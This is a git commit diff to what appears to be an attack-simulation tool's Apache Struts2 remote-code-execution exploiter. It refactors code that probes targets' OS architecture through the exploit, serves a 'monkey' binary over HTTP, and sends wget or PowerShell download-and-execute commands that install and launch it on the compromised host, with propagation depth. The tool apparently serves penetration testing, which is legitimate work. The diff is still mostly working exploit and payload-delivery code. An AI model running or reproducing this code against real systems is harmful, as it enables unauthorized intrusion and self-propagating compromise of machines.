Struts exploitation working, and tested with win-64 and ubuntu

This commit is contained in:
Vakaris 2018-06-20 16:58:20 +03:00
parent 413bdd9254
commit 2d27972e7e
2 changed files with 112 additions and 57 deletions

View File

@ -23,11 +23,9 @@ MONKEY_ARG = "m0nk3y"
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
# Command used to check whether host is vulnerable
CHECK_COMMAND = "echo %s" % ID_STRING
# Commands used to check for architecture
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "%s && lscpu" % ID_STRING
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
@ -47,7 +45,6 @@ class Struts2Exploiter(HostExploiter):
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self):
# TODO add skip if file exists
# Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
dropper_path_linux = self._config.dropper_target_path_linux
@ -65,56 +62,15 @@ class Struts2Exploiter(HostExploiter):
# TODO remove struts from url
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
# Get full URL
current_host = self.get_redirected(current_host)
url = self.get_redirected(current_host)
# Get os architecture so that we don't have to update monkey
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
host_arch = Struts2Exploiter.try_exploit_linux(current_host)
return self.exploit_linux(url, dropper_path_linux)
else:
host_arch = Struts2Exploiter.try_exploit_windows(current_host)
if host_arch:
self.host.os['machine'] = host_arch
if current_host and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
# Form command according to os
if 'linux' in self.host.os['type']:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
return True
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
'http_path': http_path, 'parameters': cmdline}
else:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
or self.check_remote_file(current_host, dropper_path_win_64)):
return True
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
'http_path': http_path, 'parameters': cmdline}
self.exploit(current_host, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
def check_remote_file(self, host, path):
command = EXISTS % path
@ -125,8 +81,92 @@ class Struts2Exploiter(HostExploiter):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
def exploit_linux(self, url, dropper_path):
host_arch = Struts2Exploiter.check_exploit_linux(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist and (self.check_remote_file(url, dropper_path)):
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = WGET_HTTP % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}
self.exploit(url, command, RESPONSE_TIMEOUT)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def exploit_windows(self, url, dropper_paths):
"""
:param url: Where to send malicious request
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
:return: Bool. Successfully exploited or not
"""
host_arch = Struts2Exploiter.check_exploit_windows(url)
if host_arch:
self.host.os['machine'] = host_arch
if url and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
# If monkey already exists and option not to exploit in that case is selected
if self.skip_exist:
for dropper_path in dropper_paths:
if self.check_remote_file(url, dropper_path):
return True
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Select the dir and name for monkey on the host
if "windows-32" in src_path:
dropper_path = dropper_paths[0]
else:
dropper_path = dropper_paths[1]
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}
# TODO Add timeout
self.exploit(url, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
@staticmethod
def try_exploit_windows(url):
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
@ -137,13 +177,13 @@ class Struts2Exploiter(HostExploiter):
return False
@staticmethod
def try_exploit_linux(url):
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
if "x86_64" in resp:
return "64"
else:
return "32"
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
return arch
else:
return False
@ -162,8 +202,8 @@ class Struts2Exploiter(HostExploiter):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:param timeout: How long to wait for response in seconds(if monkey is executed
it's better not to wait it's whole output
:param timeout: How long to wait for response in seconds(if monkey is being executed
it's better not to wait it's whole output). By default we wait.
:return: response
"""
page = ""

View File

@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [
'machine': 'i686',
'filename': 'monkey-linux-32',
},
{
'type': 'linux',
'machine': 'i386',
'filename': 'monkey-linux-32',
},
{
'type': 'linux',
'filename': 'monkey-linux-64',
@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [
'machine': 'amd64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '32',
'filename': 'monkey-windows-32.exe',
},
{
'type': 'windows',
'filename': 'monkey-windows-32.exe',